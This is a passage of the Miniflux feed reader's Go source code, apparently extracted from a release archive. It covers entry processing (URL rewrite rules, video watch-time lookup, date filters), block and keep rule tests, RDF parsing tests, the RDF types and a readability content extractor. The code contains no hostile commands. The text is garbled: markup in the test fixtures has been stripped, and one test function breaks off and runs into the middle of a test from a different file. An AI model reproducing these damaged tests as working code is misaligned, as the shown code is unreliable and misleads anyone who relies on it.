metric.ScraperRequestDuration.WithLabelValues(status).Observe(time.Since(startTime).Seconds())
}
if scraperErr != nil {
return scraperErr
}
if extractedContent != "" {
entry.Content = minifyEntryContent(extractedContent)
if user.ShowReadingTime {
entry.ReadingTime = readingtime.EstimateReadingTime(entry.Content, user.DefaultReadingSpeed, user.CJKReadingSpeed)
}
}
rewrite.Rewriter(rewrittenEntryURL, entry, entry.Feed.RewriteRules)
entry.Content = sanitizer.Sanitize(pageBaseURL, entry.Content)
return nil
}
func rewriteEntryURL(feed *model.Feed, entry *model.Entry) string {
var rewrittenURL = entry.URL
if feed.UrlRewriteRules != "" {
parts := customReplaceRuleRegex.FindStringSubmatch(feed.UrlRewriteRules)
if len(parts) >= 3 {
re, err := regexp.Compile(parts[1])
if err != nil {
slog.Error("Failed on regexp compilation",
slog.String("url_rewrite_rules", feed.UrlRewriteRules),
slog.Any("error", err),
)
return rewrittenURL
}
rewrittenURL = re.ReplaceAllString(entry.URL, parts[2])
slog.Debug("Rewriting entry URL",
slog.String("original_entry_url", entry.URL),
slog.String("rewritten_entry_url", rewrittenURL),
slog.Int64("feed_id", feed.ID),
slog.String("feed_url", feed.FeedURL),
)
} else {
slog.Debug("Cannot find search and replace terms for replace rule",
slog.String("original_entry_url", entry.URL),
slog.String("rewritten_entry_url", rewrittenURL),
slog.Int64("feed_id", feed.ID),
slog.String("feed_url", feed.FeedURL),
slog.String("url_rewrite_rules", feed.UrlRewriteRules),
)
}
}
return rewrittenURL
}
func updateEntryReadingTime(store *storage.Storage, feed *model.Feed, entry *model.Entry, entryIsNew bool, user *model.User) {
if !user.ShowReadingTime {
slog.Debug("Skip reading time estimation for this user", slog.Int64("user_id", user.ID))
return
}
if shouldFetchYouTubeWatchTime(entry) {
if entryIsNew {
watchTime, err := fetchYouTubeWatchTime(entry.URL)
if err != nil {
slog.Warn("Unable to fetch YouTube watch time",
slog.Int64("user_id", user.ID),
slog.Int64("entry_id", entry.ID),
slog.String("entry_url", entry.URL),
slog.Int64("feed_id", feed.ID),
slog.String("feed_url", feed.FeedURL),
slog.Any("error", err),
)
}
entry.ReadingTime = watchTime
} else {
entry.ReadingTime = store.GetReadTime(feed.ID, entry.Hash)
}
}
if shouldFetchNebulaWatchTime(entry) {
if entryIsNew {
watchTime, err := fetchNebulaWatchTime(entry.URL)
if err != nil {
slog.Warn("Unable to fetch Nebula watch time",
slog.Int64("user_id", user.ID),
slog.Int64("entry_id", entry.ID),
slog.String("entry_url", entry.URL),
slog.Int64("feed_id", feed.ID),
slog.String("feed_url", feed.FeedURL),
slog.Any("error", err),
)
}
entry.ReadingTime = watchTime
} else {
entry.ReadingTime = store.GetReadTime(feed.ID, entry.Hash)
}
}
if shouldFetchOdyseeWatchTime(entry) {
if entryIsNew {
watchTime, err := fetchOdyseeWatchTime(entry.URL)
if err != nil {
slog.Warn("Unable to fetch Odysee watch time",
slog.Int64("user_id", user.ID),
slog.Int64("entry_id", entry.ID),
slog.String("entry_url", entry.URL),
slog.Int64("feed_id", feed.ID),
slog.String("feed_url", feed.FeedURL),
slog.Any("error", err),
)
}
entry.ReadingTime = watchTime
} else {
entry.ReadingTime = store.GetReadTime(feed.ID, entry.Hash)
}
}
if shouldFetchBilibiliWatchTime(entry) {
if entryIsNew {
watchTime, err := fetchBilibiliWatchTime(entry.URL)
if err != nil {
slog.Warn("Unable to fetch Bilibili watch time",
slog.Int64("user_id", user.ID),
slog.Int64("entry_id", entry.ID),
slog.String("entry_url", entry.URL),
slog.Int64("feed_id", feed.ID),
slog.String("feed_url", feed.FeedURL),
slog.Any("error", err),
)
}
entry.ReadingTime = watchTime
} else {
entry.ReadingTime = store.GetReadTime(feed.ID, entry.Hash)
}
}
// Handle YT error case and non-YT entries.
if entry.ReadingTime == 0 {
entry.ReadingTime = readingtime.EstimateReadingTime(entry.Content, user.DefaultReadingSpeed, user.CJKReadingSpeed)
}
}
func isRecentEntry(entry *model.Entry) bool {
if config.Opts.FilterEntryMaxAgeDays() == 0 || entry.Date.After(time.Now().AddDate(0, 0, -config.Opts.FilterEntryMaxAgeDays())) {
return true
}
return false
}
func minifyEntryContent(entryContent string) string {
m := minify.New()
// Options required to avoid breaking the HTML content.
m.Add("text/html", &html.Minifier{
KeepEndTags: true,
KeepQuotes: true,
})
if minifiedHTML, err := m.String("text/html", entryContent); err == nil {
entryContent = minifiedHTML
}
return entryContent
}
func isDateMatchingPattern(entryDate time.Time, pattern string) bool {
if pattern == "future" {
return entryDate.After(time.Now())
}
parts := strings.SplitN(pattern, ":", 2)
if len(parts) != 2 {
return false
}
operator := parts[0]
dateStr := parts[1]
switch operator {
case "before":
targetDate, err := time.Parse("2006-01-02", dateStr)
if err != nil {
return false
}
return entryDate.Before(targetDate)
case "after":
targetDate, err := time.Parse("2006-01-02", dateStr)
if err != nil {
return false
}
return entryDate.After(targetDate)
case "between":
dates := strings.Split(dateStr, ",")
if len(dates) != 2 {
return false
}
startDate, err1 := time.Parse("2006-01-02", dates[0])
endDate, err2 := time.Parse("2006-01-02", dates[1])
if err1 != nil || err2 != nil {
return false
}
return entryDate.After(startDate) && entryDate.Before(endDate)
}
return false
}
v2-2.2.5/internal/reader/processor/processor_test.go 0000664 0000000 0000000 00000023451 14743520056 0022564 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package processor // import "miniflux.app/v2/internal/reader/processor"
import (
"testing"
"time"
"miniflux.app/v2/internal/config"
"miniflux.app/v2/internal/model"
)
func TestBlockingEntries(t *testing.T) {
var scenarios = []struct {
feed *model.Feed
entry *model.Entry
user *model.User
expected bool
}{
{&model.Feed{ID: 1, BlocklistRules: "(?i)example"}, &model.Entry{URL: "https://example.com"}, &model.User{}, true},
{&model.Feed{ID: 1, BlocklistRules: "(?i)example"}, &model.Entry{URL: "https://different.com"}, &model.User{}, false},
{&model.Feed{ID: 1, BlocklistRules: "(?i)example"}, &model.Entry{Title: "Some Example"}, &model.User{}, true},
{&model.Feed{ID: 1, BlocklistRules: "(?i)example"}, &model.Entry{Title: "Something different"}, &model.User{}, false},
{&model.Feed{ID: 1, BlocklistRules: "(?i)example"}, &model.Entry{Title: "Something different", Tags: []string{"example", "something else"}}, &model.User{}, true},
{&model.Feed{ID: 1, BlocklistRules: "(?i)example"}, &model.Entry{Title: "Example", Tags: []string{"example", "something else"}}, &model.User{}, true},
{&model.Feed{ID: 1, BlocklistRules: "(?i)example"}, &model.Entry{Title: "Example", Tags: []string{"something different", "something else"}}, &model.User{}, true},
{&model.Feed{ID: 1, BlocklistRules: "(?i)example"}, &model.Entry{Title: "Something different", Tags: []string{"something different", "something else"}}, &model.User{}, false},
{&model.Feed{ID: 1, BlocklistRules: "(?i)example"}, &model.Entry{Title: "Something different", Author: "Example"}, &model.User{}, true},
{&model.Feed{ID: 1, BlocklistRules: "(?i)example"}, &model.Entry{Title: "Something different", Author: "Something different"}, &model.User{}, false},
{&model.Feed{ID: 1}, &model.Entry{Title: "No rule defined"}, &model.User{}, false},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{URL: "https://example.com", Title: "Some Example"}, &model.User{BlockFilterEntryRules: "EntryURL=(?i)example\nEntryTitle=(?i)Test"}, true},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{URL: "https://different.com", Title: "Some Test"}, &model.User{BlockFilterEntryRules: "EntryURL=(?i)example\nEntryTitle=(?i)Test"}, true},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{URL: "https://different.com", Title: "Some Example"}, &model.User{BlockFilterEntryRules: "EntryURL=(?i)example\nEntryTitle=(?i)Test"}, false},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{CommentsURL: "https://example.com", Content: "Some Example"}, &model.User{BlockFilterEntryRules: "EntryCommentsURL=(?i)example\nEntryContent=(?i)Test"}, true},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{CommentsURL: "https://different.com", Content: "Some Test"}, &model.User{BlockFilterEntryRules: "EntryCommentsURL=(?i)example\nEntryContent=(?i)Test"}, true},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{CommentsURL: "https://different.com", Content: "Some Example"}, &model.User{BlockFilterEntryRules: "EntryCommentsURL=(?i)example\nEntryContent=(?i)Test"}, false},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{Author: "Example", Tags: []string{"example", "something else"}}, &model.User{BlockFilterEntryRules: "EntryAuthor=(?i)example\nEntryTag=(?i)Test"}, true},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{Author: "Different", Tags: []string{"example", "something else"}}, &model.User{BlockFilterEntryRules: "EntryAuthor=(?i)example\nEntryTag=(?i)example"}, true},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{Author: "Different", Tags: []string{"example", "something else"}}, &model.User{BlockFilterEntryRules: "EntryAuthor=(?i)example\nEntryTag=(?i)Test"}, false},
}
for _, tc := range scenarios {
result := isBlockedEntry(tc.feed, tc.entry, tc.user)
if tc.expected != result {
t.Errorf(`Unexpected result, got %v for entry %q`, result, tc.entry.Title)
}
}
}
func TestAllowEntries(t *testing.T) {
var scenarios = []struct {
feed *model.Feed
entry *model.Entry
user *model.User
expected bool
}{
{&model.Feed{ID: 1, KeeplistRules: "(?i)example"}, &model.Entry{Title: "https://example.com"}, &model.User{}, true},
{&model.Feed{ID: 1, KeeplistRules: "(?i)example"}, &model.Entry{Title: "https://different.com"}, &model.User{}, false},
{&model.Feed{ID: 1, KeeplistRules: "(?i)example"}, &model.Entry{Title: "Some Example"}, &model.User{}, true},
{&model.Feed{ID: 1, KeeplistRules: "(?i)example"}, &model.Entry{Title: "Something different"}, &model.User{}, false},
{&model.Feed{ID: 1}, &model.Entry{Title: "No rule defined"}, &model.User{}, true},
{&model.Feed{ID: 1, KeeplistRules: "(?i)example"}, &model.Entry{Title: "Something different", Tags: []string{"example", "something else"}}, &model.User{}, true},
{&model.Feed{ID: 1, KeeplistRules: "(?i)example"}, &model.Entry{Title: "Example", Tags: []string{"example", "something else"}}, &model.User{}, true},
{&model.Feed{ID: 1, KeeplistRules: "(?i)example"}, &model.Entry{Title: "Example", Tags: []string{"something different", "something else"}}, &model.User{}, true},
{&model.Feed{ID: 1, KeeplistRules: "(?i)example"}, &model.Entry{Title: "Something more", Tags: []string{"something different", "something else"}}, &model.User{}, false},
{&model.Feed{ID: 1, KeeplistRules: "(?i)example"}, &model.Entry{Title: "Something different", Author: "Example"}, &model.User{}, true},
{&model.Feed{ID: 1, KeeplistRules: "(?i)example"}, &model.Entry{Title: "Something different", Author: "Something different"}, &model.User{}, false},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{URL: "https://example.com", Title: "Some Example"}, &model.User{KeepFilterEntryRules: "EntryURL=(?i)example\nEntryTitle=(?i)Test"}, true},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{URL: "https://different.com", Title: "Some Test"}, &model.User{KeepFilterEntryRules: "EntryURL=(?i)example\nEntryTitle=(?i)Test"}, true},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{URL: "https://different.com", Title: "Some Example"}, &model.User{KeepFilterEntryRules: "EntryURL=(?i)example\nEntryTitle=(?i)Test"}, false},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{CommentsURL: "https://example.com", Content: "Some Example"}, &model.User{KeepFilterEntryRules: "EntryCommentsURL=(?i)example\nEntryContent=(?i)Test"}, true},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{CommentsURL: "https://different.com", Content: "Some Test"}, &model.User{KeepFilterEntryRules: "EntryCommentsURL=(?i)example\nEntryContent=(?i)Test"}, true},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{CommentsURL: "https://different.com", Content: "Some Example"}, &model.User{KeepFilterEntryRules: "EntryCommentsURL=(?i)example\nEntryContent=(?i)Test"}, false},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{Author: "Example", Tags: []string{"example", "something else"}}, &model.User{KeepFilterEntryRules: "EntryAuthor=(?i)example\nEntryTag=(?i)Test"}, true},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{Author: "Different", Tags: []string{"example", "something else"}}, &model.User{KeepFilterEntryRules: "EntryAuthor=(?i)example\nEntryTag=(?i)example"}, true},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{Author: "Different", Tags: []string{"example", "something else"}}, &model.User{KeepFilterEntryRules: "EntryAuthor=(?i)example\nEntryTag=(?i)Test"}, false},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{Date: time.Now().Add(24 * time.Hour)}, &model.User{KeepFilterEntryRules: "EntryDate=future"}, true},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{Date: time.Now().Add(-24 * time.Hour)}, &model.User{KeepFilterEntryRules: "EntryDate=future"}, false},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{Date: time.Date(2024, 3, 14, 0, 0, 0, 0, time.UTC)}, &model.User{KeepFilterEntryRules: "EntryDate=before:2024-03-15"}, true},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{Date: time.Date(2024, 3, 16, 0, 0, 0, 0, time.UTC)}, &model.User{KeepFilterEntryRules: "EntryDate=after:2024-03-15"}, true},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{Date: time.Date(2024, 3, 10, 0, 0, 0, 0, time.UTC)}, &model.User{KeepFilterEntryRules: "EntryDate=between:2024-03-01,2024-03-15"}, true},
{&model.Feed{ID: 1, BlocklistRules: ""}, &model.Entry{Date: time.Date(2024, 2, 28, 0, 0, 0, 0, time.UTC)}, &model.User{KeepFilterEntryRules: "EntryDate=between:2024-03-01,2024-03-15"}, false},
}
for _, tc := range scenarios {
result := isAllowedEntry(tc.feed, tc.entry, tc.user)
if tc.expected != result {
t.Errorf(`Unexpected result, got %v for entry %q`, result, tc.entry.Title)
}
}
}
func TestIsRecentEntry(t *testing.T) {
parser := config.NewParser()
var err error
config.Opts, err = parser.ParseEnvironmentVariables()
if err != nil {
t.Fatalf(`Parsing failure: %v`, err)
}
var scenarios = []struct {
entry *model.Entry
expected bool
}{
{&model.Entry{Title: "Example1", Date: time.Date(2005, 5, 1, 05, 05, 05, 05, time.UTC)}, true},
{&model.Entry{Title: "Example2", Date: time.Date(2010, 5, 1, 05, 05, 05, 05, time.UTC)}, true},
{&model.Entry{Title: "Example3", Date: time.Date(2020, 5, 1, 05, 05, 05, 05, time.UTC)}, true},
{&model.Entry{Title: "Example4", Date: time.Date(2024, 3, 15, 05, 05, 05, 05, time.UTC)}, true},
}
for _, tc := range scenarios {
result := isRecentEntry(tc.entry)
if tc.expected != result {
t.Errorf(`Unexpected result, got %v for entry %q`, result, tc.entry.Title)
}
}
}
func TestMinifyEntryContent(t *testing.T) {
input := `
`
result := feed.Entries[0].Content
if result != expected {
t.Errorf(`Unexpected entry content, got %q instead of %q`, result, expected)
}
}
func TestParseRDFWithEncodedHTMLDescription(t *testing.T) {
data := `
Example Feed
http://example.org/
Item Title
http://example.org/
AT&T <img src="https://example.org/img.png"></a>`
feed, err := Parse("http://example.org/", bytes.NewReader([]byte(data)))
if err != nil {
t.Fatal(err)
}
if len(feed.Entries) != 1 {
t.Fatalf(`Unexpected number of entries, got %d`, len(feed.Entries))
}
expected := `AT&T `
result := feed.Entries[0].Content
if result != expected {
t.Errorf(`Unexpected entry content, got %v instead of %v`, result, expected)
}
}
func TestParseItemWithoutDate(t *testing.T) {
data := `
Example
http://example.org
TitleTest
http://example.org/test.html
`
feed, err := Parse("http://example.org", bytes.NewReader([]byte(data)))
if err != nil {
t.Fatal(err)
}
expectedDate := time.Now().In(time.Local)
diff := expectedDate.Sub(feed.Entries[0].Date)
if diff > time.Second {
t.Errorf("Incorrect entry date, got: %v", diff)
}
}
func TestParseItemWithDublicCoreDate(t *testing.T) {
data := `
Example
http://example.org
TitleTest
http://example.org/test.html
Tester2018-04-10T05:00:00+00:00`
feed, err := Parse("http://example.org", bytes.NewReader([]byte(data)))
if err != nil {
t.Fatal(err)
}
expectedDate := time.Date(2018, time.April, 10, 5, 0, 0, 0, time.UTC)
if !feed.Entries[0].Date.Equal(expectedDate) {
t.Errorf("Incorrect entry date, got: %v, want: %v", feed.Entries[0].Date, expectedDate)
}
}
func TestParseItemWithInvalidDublicCoreDate(t *testing.T) {
data := `
Example
http://example.org
TitleTest
http://example.org/test.html
Tester20-04-10T05:00:00+00:00`
feed, err := Parse("http://example.org", bytes.NewReader([]byte(data)))
if err != nil {
t.Fatal(err)
}
expectedDate := time.Now().In(time.Local)
diff := expectedDate.Sub(feed.Entries[0].Date)
if diff > time.Second {
t.Errorf("Incorrect entry date, got: %v", diff)
}
}
func TestParseItemWithEncodedHTMLInDCCreatorField(t *testing.T) {
data := `
Example
http://example.org
TitleTest
http://example.org/test.html
<a href="http://example.org/author1">Author 1</a> (University 1), <a href="http://example.org/author2">Author 2</a> (University 2)2018-04-10T05:00:00+00:00`
feed, err := Parse("http://example.org", bytes.NewReader([]byte(data)))
if err != nil {
t.Fatal(err)
}
expectedAuthor := "Author 1 (University 1), Author 2 (University 2)"
if feed.Entries[0].Author != expectedAuthor {
t.Errorf("Incorrect entry author, got: %s, want: %s", feed.Entries[0].Author, expectedAuthor)
}
}
func TestParseItemWithOnlyFeedAuthor(t *testing.T) {
data := `
Meerkat
http://meerkat.oreillynet.com
Rael Dornfest (mailto:rael@oreilly.com)XML: A Disruptive Technology
http://c.moreover.com/click/here.pl?r123
XML is placing increasingly heavy loads on the existing technical
infrastructure of the Internet.
`
feed, err := Parse("http://meerkat.oreillynet.com", bytes.NewReader([]byte(data)))
if err != nil {
t.Fatal(err)
}
if feed.Entries[0].Author != "Rael Dornfest (mailto:rael@oreilly.com)" {
t.Errorf("Incorrect entry author, got: %s", feed.Entries[0].Author)
}
}
func TestParseInvalidXml(t *testing.T) {
data := `garbage`
_, err := Parse("http://example.org", bytes.NewReader([]byte(data)))
if err == nil {
t.Fatal("Parse should returns an error")
}
}
func TestParseFeedWithHTMLEntity(t *testing.T) {
data := `
Example Feed
http://example.org
`
feed, err := Parse("http://example.org", bytes.NewReader([]byte(data)))
if err != nil {
t.Fatal(err)
}
if feed.Title != "Example \u00a0 Feed" {
t.Errorf(`Incorrect title, got: %q`, feed.Title)
}
}
func TestParseFeedWithInvalidCharacterEntity(t *testing.T) {
data := `
Example Feed
http://example.org/a&b
`
feed, err := Parse("http://example.org", bytes.NewReader([]byte(data)))
if err != nil {
t.Fatal(err)
}
if feed.SiteURL != "http://example.org/a&b" {
t.Errorf(`Incorrect URL, got: %q`, feed.SiteURL)
}
}
v2-2.2.5/internal/reader/rdf/rdf.go 0000664 0000000 0000000 00000001504 14743520056 0017010 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package rdf // import "miniflux.app/v2/internal/reader/rdf"
import (
"encoding/xml"
"miniflux.app/v2/internal/reader/dublincore"
)
// RDF sepcs: https://web.resource.org/rss/1.0/spec
type RDF struct {
XMLName xml.Name `xml:"http://www.w3.org/1999/02/22-rdf-syntax-ns# RDF"`
Channel RDFChannel `xml:"channel"`
Items []RDFItem `xml:"item"`
}
type RDFChannel struct {
Title string `xml:"title"`
Link string `xml:"link"`
Description string `xml:"description"`
dublincore.DublinCoreChannelElement
}
type RDFItem struct {
Title string `xml:"http://purl.org/rss/1.0/ title"`
Link string `xml:"link"`
Description string `xml:"description"`
dublincore.DublinCoreItemElement
}
v2-2.2.5/internal/reader/readability/ 0000775 0000000 0000000 00000000000 14743520056 0017424 5 ustar 00root root 0000000 0000000 v2-2.2.5/internal/reader/readability/readability.go 0000664 0000000 0000000 00000021074 14743520056 0022250 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package readability // import "miniflux.app/v2/internal/reader/readability"
import (
"fmt"
"io"
"log/slog"
"regexp"
"strings"
"miniflux.app/v2/internal/urllib"
"github.com/PuerkitoBio/goquery"
"golang.org/x/net/html"
)
const (
defaultTagsToScore = "section,h2,h3,h4,h5,h6,p,td,pre,div"
)
var (
divToPElementsRegexp = regexp.MustCompile(`(?i)<(a|blockquote|dl|div|img|ol|p|pre|table|ul)`)
okMaybeItsACandidateRegexp = regexp.MustCompile(`and|article|body|column|main|shadow`)
unlikelyCandidatesRegexp = regexp.MustCompile(`banner|breadcrumbs|combx|comment|community|cover-wrap|disqus|extra|foot|header|legends|menu|modal|related|remark|replies|rss|shoutbox|sidebar|skyscraper|social|sponsor|supplemental|ad-break|agegate|pagination|pager|popup|yom-remote`)
negativeRegexp = regexp.MustCompile(`hid|banner|combx|comment|com-|contact|foot|masthead|media|meta|modal|outbrain|promo|related|scroll|share|shoutbox|sidebar|skyscraper|sponsor|shopping|tags|tool|widget|byline|author|dateline|writtenby`)
positiveRegexp = regexp.MustCompile(`article|body|content|entry|hentry|h-entry|main|page|pagination|post|text|blog|story`)
)
type candidate struct {
selection *goquery.Selection
score float32
}
func (c *candidate) Node() *html.Node {
return c.selection.Get(0)
}
func (c *candidate) String() string {
id, _ := c.selection.Attr("id")
class, _ := c.selection.Attr("class")
switch {
case id != "" && class != "":
return fmt.Sprintf("%s#%s.%s => %f", c.Node().DataAtom, id, class, c.score)
case id != "":
return fmt.Sprintf("%s#%s => %f", c.Node().DataAtom, id, c.score)
case class != "":
return fmt.Sprintf("%s.%s => %f", c.Node().DataAtom, class, c.score)
}
return fmt.Sprintf("%s => %f", c.Node().DataAtom, c.score)
}
type candidateList map[*html.Node]*candidate
func (c candidateList) String() string {
var output []string
for _, candidate := range c {
output = append(output, candidate.String())
}
return strings.Join(output, ", ")
}
// ExtractContent returns relevant content.
func ExtractContent(page io.Reader) (baseURL string, extractedContent string, err error) {
document, err := goquery.NewDocumentFromReader(page)
if err != nil {
return "", "", err
}
if hrefValue, exists := document.FindMatcher(goquery.Single("head base")).Attr("href"); exists {
hrefValue = strings.TrimSpace(hrefValue)
if urllib.IsAbsoluteURL(hrefValue) {
baseURL = hrefValue
}
}
document.Find("script,style").Remove()
transformMisusedDivsIntoParagraphs(document)
removeUnlikelyCandidates(document)
candidates := getCandidates(document)
topCandidate := getTopCandidate(document, candidates)
slog.Debug("Readability parsing",
slog.String("base_url", baseURL),
slog.Any("candidates", candidates),
slog.Any("topCandidate", topCandidate),
)
extractedContent = getArticle(topCandidate, candidates)
return baseURL, extractedContent, nil
}
// Now that we have the top candidate, look through its siblings for content that might also be related.
// Things like preambles, content split by ads that we removed, etc.
func getArticle(topCandidate *candidate, candidates candidateList) string {
var output strings.Builder
output.WriteString("
")
siblingScoreThreshold := max(10, topCandidate.score*.2)
topCandidate.selection.Siblings().Union(topCandidate.selection).Each(func(i int, s *goquery.Selection) {
append := false
node := s.Get(0)
if node == topCandidate.Node() {
append = true
} else if c, ok := candidates[node]; ok && c.score >= siblingScoreThreshold {
append = true
}
if s.Is("p") {
linkDensity := getLinkDensity(s)
content := s.Text()
contentLength := len(content)
if contentLength >= 80 {
if linkDensity < .25 {
append = true
}
} else {
if linkDensity == 0 && containsSentence(content) {
append = true
}
}
}
if append {
tag := "div"
if s.Is("p") {
tag = node.Data
}
html, _ := s.Html()
output.WriteString("<" + tag + ">" + html + "")
}
})
output.WriteString("
")
return output.String()
}
func removeUnlikelyCandidates(document *goquery.Document) {
var shouldRemove = func(str string) bool {
str = strings.ToLower(str)
if strings.Contains(str, "popupbody") || strings.Contains(str, "-ad") || strings.Contains(str, "g-plus") {
return true
} else if unlikelyCandidatesRegexp.MatchString(str) && !okMaybeItsACandidateRegexp.MatchString(str) {
return true
}
return false
}
document.Find("*").Each(func(i int, s *goquery.Selection) {
if s.Length() == 0 || s.Get(0).Data == "html" || s.Get(0).Data == "body" {
return
}
if class, ok := s.Attr("class"); ok {
if shouldRemove(class) {
s.Remove()
}
} else if id, ok := s.Attr("id"); ok {
if shouldRemove(id) {
s.Remove()
}
}
})
}
func getTopCandidate(document *goquery.Document, candidates candidateList) *candidate {
var best *candidate
for _, c := range candidates {
if best == nil {
best = c
} else if best.score < c.score {
best = c
}
}
if best == nil {
best = &candidate{document.Find("body"), 0}
}
return best
}
// Loop through all paragraphs, and assign a score to them based on how content-y they look.
// Then add their score to their parent node.
// A score is determined by things like number of commas, class names, etc.
// Maybe eventually link density.
func getCandidates(document *goquery.Document) candidateList {
candidates := make(candidateList)
document.Find(defaultTagsToScore).Each(func(i int, s *goquery.Selection) {
text := s.Text()
// If this paragraph is less than 25 characters, don't even count it.
if len(text) < 25 {
return
}
parent := s.Parent()
parentNode := parent.Get(0)
grandParent := parent.Parent()
var grandParentNode *html.Node
if grandParent.Length() > 0 {
grandParentNode = grandParent.Get(0)
}
if _, found := candidates[parentNode]; !found {
candidates[parentNode] = scoreNode(parent)
}
if grandParentNode != nil {
if _, found := candidates[grandParentNode]; !found {
candidates[grandParentNode] = scoreNode(grandParent)
}
}
// Add a point for the paragraph itself as a base.
contentScore := float32(1.0)
// Add points for any commas within this paragraph.
contentScore += float32(strings.Count(text, ",") + 1)
// For every 100 characters in this paragraph, add another point. Up to 3 points.
contentScore += float32(min(len(text)/100.0, 3))
candidates[parentNode].score += contentScore
if grandParentNode != nil {
candidates[grandParentNode].score += contentScore / 2.0
}
})
// Scale the final candidates score based on link density. Good content
// should have a relatively small link density (5% or less) and be mostly
// unaffected by this operation
for _, candidate := range candidates {
candidate.score *= (1 - getLinkDensity(candidate.selection))
}
return candidates
}
func scoreNode(s *goquery.Selection) *candidate {
c := &candidate{selection: s, score: 0}
switch s.Get(0).DataAtom.String() {
case "div":
c.score += 5
case "pre", "td", "blockquote", "img":
c.score += 3
case "address", "ol", "ul", "dl", "dd", "dt", "li", "form":
c.score -= 3
case "h1", "h2", "h3", "h4", "h5", "h6", "th":
c.score -= 5
}
c.score += getClassWeight(s)
return c
}
// Get the density of links as a percentage of the content
// This is the amount of text that is inside a link divided by the total text in the node.
func getLinkDensity(s *goquery.Selection) float32 {
textLength := len(s.Text())
if textLength == 0 {
return 0
}
linkLength := len(s.Find("a").Text())
return float32(linkLength) / float32(textLength)
}
// Get an elements class/id weight. Uses regular expressions to tell if this
// element looks good or bad.
func getClassWeight(s *goquery.Selection) float32 {
weight := 0
if class, ok := s.Attr("class"); ok {
class = strings.ToLower(class)
if negativeRegexp.MatchString(class) {
weight -= 25
} else if positiveRegexp.MatchString(class) {
weight += 25
}
}
if id, ok := s.Attr("id"); ok {
id = strings.ToLower(id)
if negativeRegexp.MatchString(id) {
weight -= 25
} else if positiveRegexp.MatchString(id) {
weight += 25
}
}
return float32(weight)
}
func transformMisusedDivsIntoParagraphs(document *goquery.Document) {
document.Find("div").Each(func(i int, s *goquery.Selection) {
html, _ := s.Html()
if !divToPElementsRegexp.MatchString(html) {
node := s.Get(0)
node.Data = "p"
}
})
}
func containsSentence(content string) bool {
return strings.HasSuffix(content, ".") || strings.Contains(content, ". ")
}
v2-2.2.5/internal/reader/readability/readability_test.go 0000664 0000000 0000000 00000007334 14743520056 0023312 0 ustar 00root root 0000000 0000000 // SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.
// SPDX-License-Identifier: Apache-2.0
package readability // import "miniflux.app/v2/internal/reader/readability"
import (
"bytes"
"os"
"strings"
"testing"
)
func TestBaseURL(t *testing.T) {
html := `
Some content
`
baseURL, _, err := ExtractContent(strings.NewReader(html))
if err != nil {
t.Fatal(err)
}
if baseURL != "https://example.org/" {
t.Errorf(`Unexpected base URL, got %q instead of "https://example.org/"`, baseURL)
}
}
func TestMultipleBaseURL(t *testing.T) {
html := `
Some content
`
baseURL, _, err := ExtractContent(strings.NewReader(html))
if err != nil {
t.Fatal(err)
}
if baseURL != "https://example.org/" {
t.Errorf(`Unexpected base URL, got %q instead of "https://example.org/"`, baseURL)
}
}
func TestRelativeBaseURL(t *testing.T) {
html := `
Some content
`
baseURL, _, err := ExtractContent(strings.NewReader(html))
if err != nil {
t.Fatal(err)
}
if baseURL != "" {
t.Errorf(`Unexpected base URL, got %q`, baseURL)
}
}
func TestWithoutBaseURL(t *testing.T) {
html := `
Test
Some content
`
baseURL, _, err := ExtractContent(strings.NewReader(html))
if err != nil {
t.Fatal(err)
}
if baseURL != "" {
t.Errorf(`Unexpected base URL, got %q instead of ""`, baseURL)
}
}
func TestRemoveStyleScript(t *testing.T) {
html := `
TestSome content
`
want := `
`
_, content, err := ExtractContent(strings.NewReader(html))
if err != nil {
t.Fatal(err)
}
content = strings.ReplaceAll(content, "\n", "")
content = strings.ReplaceAll(content, " ", "")
content = strings.ReplaceAll(content, "\t", "")
if content != want {
t.Errorf(`Invalid content, got %s instead of %s`, content, want)
}
}
func BenchmarkExtractContent(b *testing.B) {
var testCases = map[string][]byte{
"miniflux_github.html": {},
"miniflux_wikipedia.html": {},
}
for filename := range testCases {
data, err := os.ReadFile("testdata/" + filename)
if err != nil {
b.Fatalf(`Unable to read file %q: %v`, filename, err)
}
testCases[filename] = data
}
for range b.N {
for _, v := range testCases {
ExtractContent(bytes.NewReader(v))
}
}
}
